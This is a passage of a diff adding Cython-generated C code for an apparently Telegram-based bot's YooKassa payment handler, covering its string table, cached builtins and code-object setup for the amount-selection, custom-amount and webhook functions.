{&__pyx_n_u_RUB, __pyx_k_RUB, sizeof(__pyx_k_RUB), 0, 1, 0, 1}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_kp_u_Secret_Key, __pyx_k_Secret_Key, sizeof(__pyx_k_Secret_Key), 0, 1, 0, 0}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u_Webhook_event_received, __pyx_k_Webhook_event_received, sizeof(__pyx_k_Webhook_event_received), 0, 1, 0, 0}, + {&__pyx_n_s_YOOKASSA_ENABLE, __pyx_k_YOOKASSA_ENABLE, sizeof(__pyx_k_YOOKASSA_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_YOOKASSA_HASH, __pyx_k_YOOKASSA_HASH, sizeof(__pyx_k_YOOKASSA_HASH), 0, 0, 1, 1}, + {&__pyx_kp_u_YOOKASSA_HASH_2, __pyx_k_YOOKASSA_HASH_2, sizeof(__pyx_k_YOOKASSA_HASH_2), 0, 1, 0, 0}, + {&__pyx_n_s_YOOKASSA_SECRET_KEY, __pyx_k_YOOKASSA_SECRET_KEY, sizeof(__pyx_k_YOOKASSA_SECRET_KEY), 0, 0, 1, 1}, + {&__pyx_n_s_YOOKASSA_SHOP_ID, __pyx_k_YOOKASSA_SHOP_ID, sizeof(__pyx_k_YOOKASSA_SHOP_ID), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, + {&__pyx_n_s__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 0, 1, 1}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_n_s__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_n_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 1}, + {&__pyx_n_s_account_id, __pyx_k_account_id, sizeof(__pyx_k_account_id), 0, 0, 1, 1}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_u_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 1, 0, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_u_capture, __pyx_k_capture, sizeof(__pyx_k_capture), 0, 1, 0, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_yookassa, __pyx_k_choosing_amount_yookassa, sizeof(__pyx_k_choosing_amount_yookassa), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_confirm_keyboard, __pyx_k_confirm_keyboard, sizeof(__pyx_k_confirm_keyboard), 0, 0, 1, 1}, + {&__pyx_n_u_confirmation, __pyx_k_confirmation, sizeof(__pyx_k_confirmation), 0, 1, 0, 1}, + {&__pyx_n_u_confirmation_url, __pyx_k_confirmation_url, sizeof(__pyx_k_confirmation_url), 0, 1, 0, 1}, + {&__pyx_n_s_create, __pyx_k_create, sizeof(__pyx_k_create), 0, 0, 1, 1}, + {&__pyx_n_u_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 1, 0, 1}, + {&__pyx_n_u_customer, __pyx_k_customer, sizeof(__pyx_k_customer), 0, 1, 0, 1}, + {&__pyx_n_s_customer_email, __pyx_k_customer_email, sizeof(__pyx_k_customer_email), 0, 0, 1, 1}, + {&__pyx_n_s_customer_id, __pyx_k_customer_id, sizeof(__pyx_k_customer_id), 0, 0, 1, 1}, + {&__pyx_n_s_customer_name, __pyx_k_customer_name, sizeof(__pyx_k_customer_name), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_u_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 1, 0, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_n_u_email, __pyx_k_email, sizeof(__pyx_k_email), 0, 1, 0, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_yookassa, __pyx_k_enter_custom_amount_yookassa, sizeof(__pyx_k_enter_custom_amount_yookassa), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_yookassa, __pyx_k_entering_custom_amount_yookassa, sizeof(__pyx_k_entering_custom_amount_yookassa), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_event, __pyx_k_event, sizeof(__pyx_k_event), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_n_s_find_one, __pyx_k_find_one, sizeof(__pyx_k_find_one), 0, 0, 1, 1}, + {&__pyx_n_s_from_user, __pyx_k_from_user, sizeof(__pyx_k_from_user), 0, 0, 1, 1}, + {&__pyx_n_s_full_name, __pyx_k_full_name, sizeof(__pyx_k_full_name), 0, 0, 1, 1}, + {&__pyx_n_u_full_name, __pyx_k_full_name, sizeof(__pyx_k_full_name), 0, 1, 0, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_yookassa_pay, __pyx_k_handlers_payments_yookassa_pay, sizeof(__pyx_k_handlers_payments_yookassa_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_k_handlers_payments_yookassa_pay_p, sizeof(__pyx_k_handlers_payments_yookassa_pay_p), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_kp_u_https_pocomacho_ru_success_html, __pyx_k_https_pocomacho_ru_success_html, sizeof(__pyx_k_https_pocomacho_ru_success_html), 0, 1, 0, 0}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_u_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 1, 0, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_u_items, __pyx_k_items, sizeof(__pyx_k_items), 0, 1, 0, 1}, + {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_metadata, __pyx_k_metadata, sizeof(__pyx_k_metadata), 0, 0, 1, 1}, + {&__pyx_n_u_metadata, __pyx_k_metadata, sizeof(__pyx_k_metadata), 0, 1, 0, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_u_object, __pyx_k_object, sizeof(__pyx_k_object), 0, 1, 0, 1}, + {&__pyx_n_s_paid, __pyx_k_paid, sizeof(__pyx_k_paid), 0, 0, 1, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_yookassa, __pyx_k_pay_yookassa, sizeof(__pyx_k_pay_yookassa), 0, 1, 0, 1}, + {&__pyx_n_s_payment, __pyx_k_payment, sizeof(__pyx_k_payment), 0, 0, 1, 1}, + {&__pyx_n_s_payment_id, __pyx_k_payment_id, sizeof(__pyx_k_payment_id), 0, 0, 1, 1}, + {&__pyx_n_s_payment_object, __pyx_k_payment_object, sizeof(__pyx_k_payment_object), 0, 0, 1, 1}, + {&__pyx_n_s_payment_url, __pyx_k_payment_url, sizeof(__pyx_k_payment_url), 0, 0, 1, 1}, + {&__pyx_n_u_pending, __pyx_k_pending, sizeof(__pyx_k_pending), 0, 1, 0, 1}, + {&__pyx_n_u_phone, __pyx_k_phone, sizeof(__pyx_k_phone), 0, 1, 0, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_yookassa, __pyx_k_process_callback_pay_yookassa, sizeof(__pyx_k_process_callback_pay_yookassa), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_u_quantity, __pyx_k_quantity, sizeof(__pyx_k_quantity), 0, 1, 0, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_u_receipt, __pyx_k_receipt, sizeof(__pyx_k_receipt), 0, 1, 0, 1}, + {&__pyx_n_u_redirect, __pyx_k_redirect, sizeof(__pyx_k_redirect), 0, 1, 0, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_u_return_url, __pyx_k_return_url, sizeof(__pyx_k_return_url), 0, 1, 0, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_secret_key, __pyx_k_secret_key, sizeof(__pyx_k_secret_key), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_kp_u_solo_net, __pyx_k_solo_net, sizeof(__pyx_k_solo_net), 0, 1, 0, 0}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_u_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 1, 0, 1}, + {&__pyx_n_u_succeeded, __pyx_k_succeeded, sizeof(__pyx_k_succeeded), 0, 1, 0, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_u_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 1, 0, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_n_u_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 1, 0, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_user_id_str, __pyx_k_user_id_str, sizeof(__pyx_k_user_id_str), 0, 0, 1, 1}, + {&__pyx_n_s_uuid, __pyx_k_uuid, sizeof(__pyx_k_uuid), 0, 0, 1, 1}, + {&__pyx_n_s_uuid4, __pyx_k_uuid4, sizeof(__pyx_k_uuid4), 0, 0, 1, 1}, + {&__pyx_n_u_value, __pyx_k_value, sizeof(__pyx_k_value), 0, 1, 0, 1}, + {&__pyx_n_u_vat_code, __pyx_k_vat_code, sizeof(__pyx_k_vat_code), 0, 1, 0, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_warning, __pyx_k_warning, sizeof(__pyx_k_warning), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {&__pyx_n_u_yookassa, __pyx_k_yookassa, sizeof(__pyx_k_yookassa), 0, 1, 0, 1}, + {&__pyx_n_s_yookassa_2, __pyx_k_yookassa_2, sizeof(__pyx_k_yookassa_2), 0, 0, 1, 1}, + {&__pyx_n_u_yookassa_2, __pyx_k_yookassa_2, sizeof(__pyx_k_yookassa_2), 0, 1, 0, 1}, + {&__pyx_kp_u_yookassa_amount, __pyx_k_yookassa_amount, sizeof(__pyx_k_yookassa_amount), 0, 1, 0, 0}, + {&__pyx_n_s_yookassa_webhook, __pyx_k_yookassa_webhook, sizeof(__pyx_k_yookassa_webhook), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 113, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/yookassa_pay.py":105 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__7 = PyTuple_Pack(2, __pyx_kp_u__6, __pyx_int_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__7); + __Pyx_GIVEREF(__pyx_tuple__7); + + /* "handlers/payments/yookassa_pay.py":225 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__19 = PyTuple_Pack(1, __pyx_kp_u__18); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__19); + __Pyx_GIVEREF(__pyx_tuple__19); + + /* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__27 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_callback_pay_yookassa, 43, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 43, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__28 = PyTuple_Pack(1, __pyx_kp_u_yookassa_amount); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + __pyx_tuple__29 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_name, __pyx_n_s_customer_id, __pyx_n_s_customer_email, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__29); + __Pyx_GIVEREF(__pyx_tuple__29); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__29, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_amount_selection, 101, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 101, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + __pyx_tuple__30 = PyTuple_Pack(10, __pyx_n_s_request, __pyx_n_s_event, __pyx_n_s_payment_object, __pyx_n_s_payment_id, __pyx_n_s_payment, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__30); + __Pyx_GIVEREF(__pyx_tuple__30); + __pyx_codeobj__13 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_yookassa_webhook, 174, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__13)) __PYX_ERR(0, 174, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__31 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); + __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_enter_custom_amount, 218, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 218, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # 